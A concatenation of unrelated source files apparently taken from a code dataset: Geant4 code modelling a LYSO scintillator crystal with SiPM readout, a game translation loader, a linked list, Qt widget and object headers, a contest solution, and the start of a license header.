G4LogicalVolume* world_lateral_y_crystal_log = new G4LogicalVolume(world_lateral_y_crystal_box,Vacuum,"Lateral_world_y",0,0,0); G4LogicalVolume* world_lateral_z_crystal_log = new G4LogicalVolume(world_lateral_z_crystal_box,Vacuum,"Lateral_world_z",0,0,0); G4ThreeVector world_lateral_x1_crystal_vector(-fCryst_x-0.2*mm,0.,0.); world_lateral_x1_crystal_vector.rotateX(-ftilt_angle); G4ThreeVector world_lateral_x2_crystal_vector(+fCryst_x+0.2*mm,0.,0.); world_lateral_x2_crystal_vector.rotateX(-ftilt_angle); G4ThreeVector world_lateral_y1_crystal_vector(0.,-fCryst_x-0.2,0.); world_lateral_y1_crystal_vector.rotateX(-ftilt_angle); G4ThreeVector world_lateral_y2_crystal_vector(0.,+fCryst_x+0.2,0.); world_lateral_y2_crystal_vector.rotateX(-ftilt_angle); G4ThreeVector world_lateral_z_crystal_vector(0.,0.,-fCryst_z-0.2); world_lateral_z_crystal_vector.rotateX(-ftilt_angle); G4VPhysicalVolume* world_lateral_x1_crystal_phys = new G4PVPlacement(Rm , world_lateral_x1_crystal_vector , world_lateral_x_crystal_log,"Lateral_world",expHall_log,false,0); G4VPhysicalVolume* world_lateral_x2_crystal_phys = new G4PVPlacement(Rm , world_lateral_x2_crystal_vector , world_lateral_x_crystal_log,"Lateral_world",expHall_log,false,0); G4VPhysicalVolume* world_lateral_y1_crystal_phys = new G4PVPlacement(Rm , world_lateral_y1_crystal_vector , world_lateral_y_crystal_log,"Lateral_world",expHall_log,false,0); G4VPhysicalVolume* world_lateral_y2_crystal_phys = new G4PVPlacement(Rm , world_lateral_y2_crystal_vector , world_lateral_y_crystal_log,"Lateral_world",expHall_log,false,0); G4VPhysicalVolume* world_lateral_z_crystal_phys = new G4PVPlacement(Rm , world_lateral_z_crystal_vector , world_lateral_z_crystal_log,"Lateral_world",expHall_log,false,0); // The LYSO crystal G4ThreeVector crystal_vector; crystal_vector.rotateX(-ftilt_angle); G4Box* crystal_box = new G4Box("Crystal",fCryst_x,fCryst_y,fCryst_z); G4LogicalVolume* crystal_log = new G4LogicalVolume(crystal_box,LYSO,"Crystal",0,0,0); G4VPhysicalVolume* crystal_phys = new G4PVPlacement(Rm, crystal_vector,crystal_log,"Crystal", expHall_log,false,0); //loop to place the SiPM+glue+window units // Optical glue G4ThreeVector Glue_vector; G4Box* Glue_box = new G4Box("Optic_Glue",fGlue_x,fGlue_y,fGlue_z); G4LogicalVolume* Glue_log = new G4LogicalVolume(Glue_box,Glue_mat,"Optic_Glue",0,0,0); std::vector<G4VPhysicalVolume*> Glue_phys; for (unsigned i=0; i < fGlue_x_pos.size(); i++) { Glue_vector = G4ThreeVector(fGlue_x_pos.at(i)*mm,fGlue_y_pos.at(i)*mm, posz = fCryst_z + fGlue_z ); Glue_vector.rotateX(-ftilt_angle); Glue_phys.push_back( new G4PVPlacement(Rm,Glue_vector,Glue_log, "Optic_Glue",expHall_log,false,0) ); } std::cout<<"glue placed"<<std::endl; /* if(fGlueWindowEverywhere==true) { Glue_vector = G4ThreeVector( 0. , 0. , posz = fCryst_z + fGlue_z ); Glue_vector.rotateX(-ftilt_angle); Glue_phys.push_back( new G4PVPlacement(Rm,Glue_vector,Glue_log, "Optic_Glue",expHall_log,false,0) ); } */ //SiPM optical grease G4ThreeVector Window_vector; G4Box* Window_box = new G4Box("Optic_window",fSiPM_window_x,fSiPM_window_y,fSiPM_window_z); G4LogicalVolume* Window_log = new G4LogicalVolume(Window_box,Window_mat,"Optic_window",0,0,0); std::vector<G4VPhysicalVolume*> Window_phys; for (unsigned i=0; i < fSiPM_window_x_pos.size(); i++) { //SiPM optical grease Window_vector = G4ThreeVector(fSiPM_window_x_pos.at(i)*mm,fSiPM_window_y_pos.at(i)*mm, posz = fCryst_z +2* fGlue_z +fSiPM_window_z); Window_vector.rotateX(-ftilt_angle); Window_phys.push_back( new G4PVPlacement(Rm,Window_vector,Window_log,"Optic_window", expHall_log,false,0) ); } std::cout<<"window placed"<<std::endl; /* if(fGlueWindowEverywhere==true) { Window_vector = G4ThreeVector( 0. , 0. , posz = fCryst_z +2* fGlue_z +fSiPM_window_z); Window_vector.rotateX(-ftilt_angle); Window_phys.push_back( new G4PVPlacement(Rm,Window_vector,Window_log, "Optic_window",expHall_log,false,0) ); } */ //SiPM G4ThreeVector SiPM_vector; G4Box* SiPM_box = new G4Box("SiPM",fSiPM_x,fSiPM_y,fSiPM_z); G4LogicalVolume* SiPM_log = new G4LogicalVolume(SiPM_box,SiPM_mat,"SiPM",0,0,0); std::vector<G4VPhysicalVolume*> SiPM_phys; for (unsigned i=0; i < fSiPM_x_pos.size(); i++) { //SiPM SiPM_vector = G4ThreeVector(fSiPM_x_pos.at(i)*mm,fSiPM_y_pos.at(i)*mm, posz = fCryst_z + 2*fGlue_z + 2*fSiPM_window_z + fSiPM_z ); SiPM_vector.rotateX(-ftilt_angle); SiPM_phys.push_back( new G4PVPlacement(Rm,SiPM_vector,SiPM_log,"SiPM", expHall_log,false,0) ); /* if(fGlueWindowEverywhere==true) //in this case window and glue have been already placed continue; // Optical glue Glue_vector = G4ThreeVector(fSiPM_x_pos.at(i)*mm,fSiPM_y_pos.at(i)*mm, posz = fCryst_z + fGlue_z ); Glue_vector.rotateX(-ftilt_angle); Glue_phys.push_back( new G4PVPlacement(Rm,Glue_vector,Glue_log, "Optic_Glue",expHall_log,false,0) ); //SiPM optical grease Window_vector = G4ThreeVector(fSiPM_x_pos.at(i)*mm,fSiPM_y_pos.at(i)*mm, posz = fCryst_z +2* fGlue_z +fSiPM_window_z); Window_vector.rotateX(-ftilt_angle); Window_phys.push_back( new G4PVPlacement(Rm,Window_vector,Window_log,"Optic_window", expHall_log,false,0) ); */ } //------------------> Define surfaces // LYSO-air front surface G4OpticalSurface* opLYSOFrontSurface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_z_crystal_phys,opLYSOFrontSurface); // LYSO-air lateral surface G4OpticalSurface* opLYSOLateralx1Surface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_x1_crystal_phys,opLYSOLateralx1Surface); G4OpticalSurface* opLYSOLateralx2Surface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_x2_crystal_phys,opLYSOLateralx2Surface); G4OpticalSurface* opLYSOLateraly1Surface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_y1_crystal_phys,opLYSOLateraly1Surface); G4OpticalSurface* opLYSOLateraly2Surface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,world_lateral_y2_crystal_phys,opLYSOLateraly2Surface); // LYSO-air back surface G4OpticalSurface* opLYSOBackSurface = new G4OpticalSurface("LYSOSurface"); new G4LogicalBorderSurface("LYSOSurface", crystal_phys,expHall_phys,opLYSOBackSurface); SetSurfaceProperties(opLYSOFrontSurface,ffrontsurface_type,ffrontSigmaAlpha, ffrontwrapping_refl, ffrontSL, ffrontSS, ffrontBS); SetSurfaceProperties(opLYSOLateralx1Surface,flateralsurface_type,flateralSigmaAlpha, flateralwrapping_refl, flateralSL, flateralSS, flateralBS); SetSurfaceProperties(opLYSOLateralx2Surface,flateralsurface_type,flateralSigmaAlpha, flateralwrapping_refl, flateralSL, flateralSS, flateralBS); SetSurfaceProperties(opLYSOLateraly1Surface,flateralsurface_type,flateralSigmaAlpha, flateralwrapping_refl, flateralSL, flateralSS, flateralBS); SetSurfaceProperties(opLYSOLateraly2Surface,flateralsurface_type,flateralSigmaAlpha, flateralwrapping_refl, flateralSL, flateralSS, flateralBS); SetSurfaceProperties(opLYSOBackSurface,fbacksurface_type,fbackSigmaAlpha, fbackwrapping_refl, fbackSL, fbackSS, fbackBS); // Optic grease - air surface (trick to simulate SiPM reflective coating) vector<G4OpticalSurface*> opWindowAir; for(unsigned i=0;i<Window_phys.size();++i) { opWindowAir.push_back( new G4OpticalSurface("WindowAirSurface") ); new G4LogicalBorderSurface("WindowAirSurface", Window_phys.at(i),expHall_phys,opWindowAir.at(i)); SetSurfaceProperties(opWindowAir.at(i),fWindowAirsurface_type,fWindowAirSigmaAlpha, fWindowAirwrapping_refl, fWindowAirSL, fWindowAirSS, fWindowAirBS); } //SiPM optical surface // G4MaterialPropertiesTable* myMPT5 = new G4MaterialPropertiesTable(); G4double energySilicon[] = {4.96, 4.7692307692, 4.5925925926, 4.4285714286, 4.275862069, 4.1333333333, 4, 3.875, 3.7575757576, 3.6470588235, 3.5428571429, 3.4444444444, 3.3513513514, 3.2631578947, 3.1794871795, 3.1, 3.0243902439, 2.9523809524, 2.8837209302, 2.8181818182, 2.7555555556, 2.6956521739, 2.6382978723, 2.5833333333, 2.5306122449, 2.48, 2.431372549, 2.3846153846, 2.3396226415, 2.2962962963, 2.2545454545, 2.2142857143, 2.1754385965, 2.1379310345, 2.1016949153, 2.0666666667, 2.0327868852, 2, 1.9682539683, 1.9375, 1.9076923077, 1.8787878788, 1.8507462687, 1.8235294118, 1.7971014493, 1.7714285714, 1.7464788732, 1.7222222222, 1.698630137, 1.6756756757, 1.6533333333, 1.6315789474, 1.6103896104, 1.5897435897, 1.5696202532, 1.55, 1.5308641975, 1.512195122, 1.4939759036, 1.4761904762, 1.4588235294, 1.4418604651, 1.4252873563, 1.4090909091, 1.393258427, 1.3777777778, 1.3626373626, 1.347826087, 1.3333333333, 1.3191489362, 1.3052631579, 1.2916666667, 1.2783505155, 1.2653061224, 1.2525252525, 1.24}; G4double Re_n[] = {1.694, 1.8, 2.129, 3.052, 4.426, 5.055, 5.074, 5.102, 5.179, 5.293, 5.483, 6.014, 6.863, 6.548, 5.976, 5.587, 5.305, 5.091, 4.925, 4.793, 4.676, 4.577, 4.491, 4.416, 4.348, 4.293, 4.239, 4.192, 4.15, 4.11, 4.077, 4.044, 4.015, 3.986, 3.962, 3.939, 3.916, 3.895, 3.879, 3.861, 3.844, 3.83, 3.815, 3.8, 3.787, 3.774, 3.762, 3.751, 3.741, 3.732, 3.723, 3.714, 3.705, 3.696, 3.688, 3.681, 3.674, 3.668, 3.662, 3.656, 3.65, 3.644, 3.638, 3.632, 3.626, 3.62, 3.614, 3.608, 3.602, 3.597, 3.592, 3.587, 3.582, 3.578, 3.574, 3.57}; G4double Im_n[] = {3.666, 4.072, 4.69, 5.258, 5.16, 4.128, 3.559, 3.269, 3.085, 2.951, 2.904, 2.912, 2.051, 0.885, 0.465, 0.303, 0.22, 0.167, 0.134, 0.109, 0.091, 0.077, 0.064, 0.057, 0.05, 0.045, 0.039, 0.036, 0.033, 0.03, 0.028, 0.026, 0.024, 0.023, 0.021, 0.02, 0.018, 0.017, 0.016, 0.015, 0.015, 0.014, 0.013, 0.012, 0.011, 0.011, 0.011, 0.01, 0.009, 0.008, 0.008, 0.007, 0.007, 0.006, 0.006, 0.005, 0.005, 0.005, 0.004, 0.004, 0.004, 0.003, 0.003, 0.003, 0.002, 0.002, 0.002, 0.002, 0.002, 0.001, 0.001, 0.001, 0.001, 0.001, 0.001, 0.001}; G4double Eff[] = {1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1.}; G4double Refl[] = {0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.};/*{0.672612594, 0.7051739998, 0.7320895527, 0.7229564109, 0.6842353612, 0.623487589, 0.5904758352, 0.5741303379, 0.5656774122, 0.5617493182, 0.5653802759, 0.5829110024, 0.5842708013, 0.5465022924, 0.5109736438, 0.4860210277, 0.4668532597, 0.4515215805, 0.4391232489, 0.4289072653, 0.4195856995, 0.4114859504, 0.4042813942, 0.3978791808, 0.3919647328, 0.3871055313, 0.3822645215, 0.3779990919, 0.3741420137, 0.3704285222, 0.3673359361, 0.3642162212, 0.3614517486, 0.3586671346, 0.3563449752, 0.3541066718, 0.3518536143, 0.3497852413, 0.3482013386, 0.3464114799, 0.3447139284, 0.3433093164, 0.3417986254, 0.340281901, 0.3389624224, 0.3376390016, 0.3364132847, 0.3352856254, 0.33425759, 0.3333299988, 0.3324006727, 0.3314686517, 0.3305348304, 0.3295983594, 0.3287643932, 0.3280328678, 0.3273003059, 0.3266713015, 0.3260410062, 0.3254099758, 0.3247779306, 0.3241446496, 0.3235105692, 0.3228754694, 0.3222391901, 0.3216020461, 0.3209638781, 0.3203246844, 0.3196844635, 0.3191500638, 0.3186150452, 0.3180793106, 0.317542859, 0.3171131809, 0.316683043, 0.3162524448};*/ assert(sizeof(energySilicon) == sizeof(Re_n) && sizeof(energySilicon) == sizeof(Im_n) && sizeof(energySilicon) == sizeof(Eff) ); const G4int nEnSi = sizeof(energySilicon)/sizeof(G4double); //myMPT5->AddProperty("EFFICIENCY",energySilicon, Eff, nEnSi); myMPT5->AddProperty("REALRINDEX", energySilicon, Re_n, nEnSi); myMPT5->AddProperty("IMAGINARYRINDEX", energySilicon, Im_n, nEnSi); //myMPT5->AddProperty("REFLECTIVITY",energySilicon, Refl, nEnSi); G4cout << "Silicon G4MaterialPropertiesTable" << G4endl; G4OpticalSurface* SiPM_opsurf = new G4OpticalSurface("SiPM_opsurf",glisur,polished, dielectric_metal); SiPM_opsurf->SetMaterialPropertiesTable(myMPT5); new G4LogicalSkinSurface("SiPM_surf",SiPM_log,SiPM_opsurf); /* std::vector<G4OpticalSurface*> SiPM_opsurf; for(unsigned i=0;i<SiPM_log.size();i++) { SiPM_opsurf.push_back( new G4OpticalSurface("SiPM_opsurf",glisur,polished, dielectric_metal) ); //new G4LogicalBorderSurface("SiPM_opsurf", Glue_phys,SiPM_phys,SiPM_opsurf); SiPM_opsurf.at(i)->SetMaterialPropertiesTable(myMPT5); new G4LogicalSkinSurface("SiPM_surf",SiPM_log.at(i),SiPM_opsurf.at(i)); } */ //Print parameters G4cout << G4endl << "------------------------------------------------------------" << G4endl << "---> The Tile is " << fCryst_x*2 << " x " << fCryst_y*2 <<" x "<<fCryst_z*2<<" mm^3 "<< G4endl << "------------------------------------------------------------" << G4endl; // // Visualization attributes // G4VisAttributes* simpleBoxVisAtt0= new G4VisAttributes(G4Colour(1.0,1.0,1.0)); simpleBoxVisAtt0->SetVisibility(false); expHall_log->SetVisAttributes(simpleBoxVisAtt0); //(G4VisAttributes::Invisible); G4VisAttributes* simpleBoxVisAtt1= new G4VisAttributes(G4Colour(1.0,0.0,0.0));//red simpleBoxVisAtt1->SetVisibility(true); crystal_log->SetVisAttributes(simpleBoxVisAtt1); G4VisAttributes* simpleBoxVisAtt2= new G4VisAttributes(G4Colour(0.0,1.0,0.0));//green simpleBoxVisAtt2->SetVisibility(true); SiPM_log->SetVisAttributes(simpleBoxVisAtt2); G4VisAttributes* simpleBoxVisAtt3= new G4VisAttributes(G4Colour(0.0,0.0,1.0));//blue simpleBoxVisAtt3->SetVisibility(true); Glue_log->SetVisAttributes(simpleBoxVisAtt3); G4VisAttributes* simpleBoxVisAtt4= new G4VisAttributes(G4Colour(0.8,0.4,0.0));//orange simpleBoxVisAtt4->SetVisibility(true); Window_log->SetVisAttributes(simpleBoxVisAtt4); // // Always return the physical World // return expHall_phys; } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......--------------------------------------- void DetectorConstruction_planar::SetSurfaceProperties (G4OpticalSurface* opSurface, int surface_type, double SigmaAlpha, double refl, double SL, double SS, double BS) { opSurface->SetType(dielectric_dielectric); opSurface->SetFinish(G4OpticalSurfaceFinish(surface_type)); if(surface_type == 0 || surface_type == 1) opSurface->SetModel(glisur); else opSurface->SetModel(unified); const G4int NUM = 2; G4double XX[NUM] = {1.8*eV,3.4*eV} ; G4double refractiveIndex[NUM] = {1.002, 1.002}; G4double specularLobe[NUM] = {SL, SL}; G4double specularSpike[NUM] = {SS, SS}; G4double backScatter[NUM] = {BS, BS}; G4double REFLECT[NUM] = {refl,refl}; G4MaterialPropertiesTable* myST1 = new G4MaterialPropertiesTable(); if(surface_type >=2) { opSurface->SetSigmaAlpha(SigmaAlpha); myST1->AddProperty("SPECULARLOBECONSTANT", XX, specularLobe, NUM); myST1->AddProperty("SPECULARSPIKECONSTANT", XX, specularSpike, NUM); myST1->AddProperty("BACKSCATTERCONSTANT", XX, backScatter, NUM); } if(surface_type == 1 || surface_type == 2 || surface_type == 4 || surface_type == 5) myST1->AddProperty("REFLECTIVITY", XX, REFLECT,NUM); if(surface_type == 2 || surface_type == 5) myST1->AddProperty("RINDEX", XX, refractiveIndex, NUM); if (surface_type >=1 && surface_type<=5) opSurface->SetMaterialPropertiesTable(myST1); } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......--------------------------------------- void DetectorConstruction_planar::ConstructSDandField() { // G4SDManager::GetSDMpointer()->SetVerboseLevel(1); // // Sensitive detectors // SiPM_SD* SiPM = new SiPM_SD("SiPM_detector", "SiPMHitsCollection", 1,fPDEoption,fweight); SetSensitiveDetector("SiPM",SiPM); } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......
[ "fabio.monti@cern.ch" ]
fabio.monti@cern.ch
cbe815b437509b06d178df8bafec3fe2b832f2a0
5b6c65e5019fce5fa3c985b04fbae99bb0cd9b1e
/Raven/src/Common/Translation.cpp
ae7397af12b8691868bae82186a13d96c0dd9202
[ "MIT" ]
permissive
IridescentRose/Raven-Client
8971ba6ecd16fc139e045ebf7c441ff08ba48af0
e39a88eef8d56067387acaaad19ec44ddaab3869
refs/heads/master
2022-11-29T06:58:48.405393
2020-08-11T01:53:51
2020-08-11T01:53:51
265,289,325
11
2
null
null
null
null
UTF-8
C++
false
false
3,047
cpp
#include "Translation.h" #include <fstream> #include <algorithm> #include <iostream> #include <Platform/Platform.h> #if CURRENT_PLATFORM == PLATFORM_PSP #include <dirent.h> #else #include <filesystem> namespace fs = std::filesystem; #endif TranslationObj::TranslationObj() { not_en = false; } TranslationObj::~TranslationObj() { } bool alphaSort(const TranslationInfo& a, const TranslationInfo& b) { return a.code.at(0) < b.code.at(0); } void TranslationObj::init() { //Load index file std::ifstream indexLang("./assets/minecraft/lang/lang.json"); indexLang >> indexRoot; indexLang.close(); //Use this data in order to get the proper info. //Scan our options! std::vector<std::string> files; #if CURRENT_PLATFORM == PLATFORM_PSP DIR* Dir; struct dirent* DirEntry; Dir = opendir("assets/minecraft/lang/"); while ((DirEntry = readdir(Dir)) != NULL) { if (DirEntry->d_stat.st_attr & FIO_SO_IFREG) // we found file { std::string name = DirEntry->d_name; files.push_back(name.substr(0, name.find_last_of("."))); } } closedir(Dir); #else std::string path = "assets/minecraft/lang/"; for (const auto& entry : fs::directory_iterator(path)){ std::string name = entry.path().string().substr(22, entry.path().string().size()); files.push_back(name.substr(0, name.find_last_of("."))); } #endif for (unsigned int i = 0; i < files.size(); i++) { Json::Value val1 = indexRoot["language"]; Json::Value val2 = val1[files[i]]; if (val2) { TranslationInfo info; info.name = val2["name"].asString(); info.region = val2["region"].asString(); info.code = files[i]; available.push_back(info); } } std::ifstream file("assets/minecraft/lang/en_us.json"); file >> en_US_Root; file.close(); std::sort(available.begin(), available.end(), alphaSort); } void TranslationObj::setTranslation(std::string region_code) { if (region_code != "en_us" && region_code != "en_gb") { not_en = true; std::ifstream file("assets/minecraft/lang/" + region_code + ".json"); file >> translated_Root; file.close(); } else { not_en = false; } } std::string TranslationObj::getText(std::string key) { if (not_en) { //TODO: And key exists! Json::Value string = translated_Root[key.c_str()]; //Get from key if (string) { return string.asString(); //Return key if it exists } else { string = en_US_Root[key.c_str()]; if (string) { return string.asString(); } else { return "ERROR!"; } } } else { Json::Value string = en_US_Root[key.c_str()]; if (string) { return string.asString(); } else { return "ERROR!"; } } } TranslationObj g_TranslationOBJ;
[ "iridescentrosesfall@gmail.com" ]
iridescentrosesfall@gmail.com
40c303ae04dfc2fd5c191f4e682c57f56a87132b
74322acc3e0aab9682f0e7330d1f616d79d13f04
/list/LinkedList.cpp
83baa9f309be2bc8555495b08143ba9f198941af
[]
no_license
mcorreale1/cplusplus
96e4ca3434f5c62e7b290c340c36766e87ba704d
132ff111d69fd175d6b8f1b2ef0f36a7cea00bbd
refs/heads/master
2021-01-10T07:30:50.015148
2016-02-03T20:21:12
2016-02-03T20:21:12
50,899,885
0
0
null
null
null
null
UTF-8
C++
false
false
1,338
cpp
#include "LinkedList.h" #include "Node.h" LinkedList::LinkedList(Node* first) { head = first; tail = nullptr; size = 1; } LinkedList::LinkedList() { head = nullptr; tail = nullptr; size = 0; } void LinkedList::add(int value) { Node* node = new Node(value); if(head == nullptr) { head = node; } else if (tail == nullptr) { tail = node; head->link = tail; } else { tail->link = node; tail = node; } size++; } int LinkedList::get(int ind) { if (ind == 0) { return head->val; } Node* current = head->link; for(int i = 1; i < ind; i++) { current = current->link; if(current == nullptr) { printf("Out of range"); return ind; } } return current->val; } void LinkedList::remove(int ind) { if(ind == 0) { head = head->link; } else { Node* current = head; for (int i = 1; i < ind; i++) { current = current->link; if(current == nullptr) { printf("Out of range: %d\n",ind); return; } } if(current->link->link != nullptr) { current->link = current->link->link; } else if (current->link == tail) { tail = current; } } }
[ "Mcorreale1@gmail.com" ]
Mcorreale1@gmail.com
e056c9c28650c8a5906bda80f3ec347317819ad8
d0c9caa49c6ea89eb53e6278e9acc97bc53b9d97
/snowwid.h
48902dbdf55a2ad6accbbf127f3ea460ad36f38f
[]
no_license
kovax3/objdesktop
b1d08789b891364b5f950992623f277bad6ea48d
12cdba0a250983822dc1ae035820dc8c9b590cec
refs/heads/master
2020-04-14T19:02:19.996423
2012-12-07T12:59:44
2012-12-07T12:59:44
34,540,284
0
0
null
null
null
null
UTF-8
C++
false
false
711
h
#ifndef SNOWWID_H #define SNOWWID_H #include <QWidget> #include <QTimer> #include "object.h" #include <QDesktopWidget> class snowwid : public QWidget { Q_OBJECT public: snowwid(QWidget *parent = 0); QTimer *timer; private: QDesktopWidget *wid; enum {num=100}; Object *snow[num]; int dx[num], xp[num]; int maxSize,minSize; int numSnow; bool onTop; int topScreen; int botScreen; int leftScreen; int rightScreen; int oldNum; private slots: void updateTime(); public slots: void updat(); void deletAll(); void setSnowSize(int max,int min); void setSnowNember(int num); void setSnowOnTop(bool top); }; #endif // SNOWWID_H
[ "nouah.ali@gmail.com" ]
nouah.ali@gmail.com
1e1c4c681d3a033230e3200315130f3451751520
98157b3124db71ca0ffe4e77060f25503aa7617f
/csacademy/round46/c.cpp
07f428798ec183d6247e479eb1b7f1b0637d44cb
[]
no_license
wiwitrifai/competitive-programming
c4130004cd32ae857a7a1e8d670484e236073741
f4b0044182f1d9280841c01e7eca4ad882875bca
refs/heads/master
2022-10-24T05:31:46.176752
2022-09-02T07:08:05
2022-09-02T07:08:35
59,357,984
37
4
null
null
null
null
UTF-8
C++
false
false
1,197
cpp
#include <bits/stdc++.h> using namespace std; const int N = 4e6; int a[N], ans[N], d[N]; int val[N]; int main() { int n; scanf("%d", &n); for (int i = 0; i < n * 2; i++) scanf("%d", a+i); sort(a, a+2*n); int k = 0; for (int i = 0; i < 2 * n; i++) { for (int j = i+1; j < 2 * n; j++) d[k++] = a[j] - a[i]; } sort(d, d+k); vector<int> candid; int last = d[0], cnt = 0; for (int i = 0; i < k; i++) { if (last != d[i]) { if (cnt >= n && last > 0) candid.push_back(last); cnt = 0; last = d[i]; } cnt++; } if (cnt >= n && last > 0) candid.push_back(last); int x = -1, m = 0; for (int c : candid) { x = c; m = 0; for (int i = 0, j = 0; i < 2 * n; i++) { if (val[i] == x) continue; val[i] = x; j = max(j, i+1); while (j < 2 * n && (val[j] == x || a[j] < a[i] + x)) j++; if (j >= 2 * n || a[j] != a[i] + x) { break; } val[j] = x; ans[m++] = a[j]; j++; } if (m == n) break; x = -1; } printf("%d\n", x); if (m == n) { for (int i = 0; i < n; i++) printf("%d%c", ans[i], i == n-1 ? '\n' : ' '); } return 0; }
[ "wiwitrifai@gmail.com" ]
wiwitrifai@gmail.com
0d96f512caabfeb8a623b1de6b41ab6ad12e8f00
e999fad7fb52fb4c66d227d14f041c425929d009
/homework_2/igg_image/src/igg_image/main.cpp
e4e06ee8007035dedf5c01625473660f8928e068
[]
no_license
pietglas/modern-cpp-course
b3aeb45859f85b06ad146fd6f30619fe1b47b57e
91c1089d0165be92ca82fb35216f2263df72bd20
refs/heads/master
2021-03-26T15:27:44.262452
2020-03-26T21:26:59
2020-03-26T21:26:59
247,717,679
1
0
null
null
null
null
UTF-8
C++
false
false
105
cpp
#include "image.h" #include "io_tools.h" #include <vector> #include <iostream> int main(){ return 0; }
[ "pietglas77@gmail.com" ]
pietglas77@gmail.com
4e36cdf231dc29d59e7082399f20c95aa4adb51b
5c56f4f726fc75efd16953be4080333b5d3e2948
/solutions/0077-combinations/combinations.cpp
b3d4668c7f8180c041ca86fe7e876d1605c2ed60
[]
no_license
Ryan-hub-bit/leetcode
0afeb9cf2cdd70968900edf65e54ab062f0ba5cc
0541694634e480b6a5f351e214dafce329ef91d6
refs/heads/master
2021-01-01T08:28:49.657295
2019-12-14T20:17:57
2019-12-14T20:17:57
236,356,424
0
0
null
null
null
null
UTF-8
C++
false
false
720
cpp
// Given two integers n and k, return all possible combinations of k numbers out of 1 ... n. // // Example: // // // Input: n = 4, k = 2 // Output: // [ // [2,4], // [3,4], // [2,3], // [1,2], // [1,3], // [1,4], // ] // // class Solution { public: void dfs(int k, vector<int> &tmp, int lastnum, vector<vector<int> > &ans, int n){ if(k == 0){ans.push_back(tmp);return;} for(int i =lastnum + 1;i <= n;i++){ tmp.push_back(i); dfs(k - 1, tmp, i, ans, n); tmp.pop_back(); } } vector<vector<int>> combine(int n, int k) { vector<vector<int> > ans; vector<int> tmp; dfs(k,tmp, 0,ans,n); return ans; } };
[ "mosquitozm100@gmail.com" ]
mosquitozm100@gmail.com
d648cf41928c91da96dce305f203b7f6d21b2892
7b0eec33822735a8f3c9b18e57847bc9f401aba3
/FreeGui/ObjectShell.h
d195a69ca5e48863c5eb0e874f7888ad8aa594e1
[]
no_license
erikpa1/FreeGUi
e71f689a5ac1143be9cebc243b00eaeda6b0ef6e
65f9596bc7922a19d9b1a2b48c74f8f6a260caae
refs/heads/master
2020-05-21T06:28:01.063644
2019-05-10T08:28:36
2019-05-10T08:28:36
185,945,530
0
0
null
null
null
null
UTF-8
C++
false
false
823
h
#pragma once #include "Definitions.h" #include <random> #include <chrono> #include <string> #include <fstream> #include "algorithm" #include <iostream> #define ODDELOVAC "******" class EXPORT ObjectShell { public: ObjectShell(); virtual ~ObjectShell(); int getID() { return _ID;} int getReferencesCount() { return _references; } void setUniqueID(int ID); void setCategory(int category); void increment(); void decrement(); virtual std::string ToString(); virtual void saveMySelf(std::ofstream & stream); virtual void loadMySelf(std::ifstream & stream); virtual void posthumousVoice(std::string voice = ""); static int generateUniqueID(std::string ID); static int getNumberOfMe(); bool operator==(const ObjectShell & shell); private: int _ID = 0; int _references = 0; };
[ "erikpa1@azet.sk" ]
erikpa1@azet.sk
7ed8841791e4e7f99bbe07a381c0b744ba735586
eba72c6689d3078740458f843b90afd603dcfbde
/tammber-core/PullMMbuilder.hpp
51b0c8d86256b45615404f859b80e6fb319543ce
[ "BSD-2-Clause" ]
permissive
tomswinburne/tammber
a628044104ff0e38d6eddac4120cc2e4db2186d9
5abf918535423adb75b271133970552a755d48a1
refs/heads/main
2023-06-08T13:38:53.511085
2023-03-26T22:13:18
2023-03-26T22:13:18
319,592,424
9
2
NOASSERTION
2021-08-24T16:10:47
2020-12-08T09:42:19
C++
UTF-8
C++
false
false
15,187
hpp
/* Copyright (c) 2016, Los Alamos National Security, LLC All rights reserved. Copyright 2016. Los Alamos National Security, LLC. This software was produced under U.S. Government contract DE-AC52-06NA25396 for Los Alamos National Laboratory (LANL), which is operated by Los Alamos National Security, LLC for the U.S. Department of Energy. The U.S. Government has rights to use, reproduce, and distribute this software. NEITHER THE GOVERNMENT NOR LOS ALAMOS NATIONAL SECURITY, LLC MAKES ANY WARRANTY, EXPRESS OR IMPLIED, OR ASSUMES ANY LIABILITY FOR THE USE OF THIS SOFTWARE. If software is modified to produce derivative works, such modified software should be clearly marked, so as not to confuse it with the version available from LANL. Additionally, redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Los Alamos National Security, LLC, Los Alamos National Laboratory, LANL, the U.S. Government, nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY LOS ALAMOS NATIONAL SECURITY, LLC AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 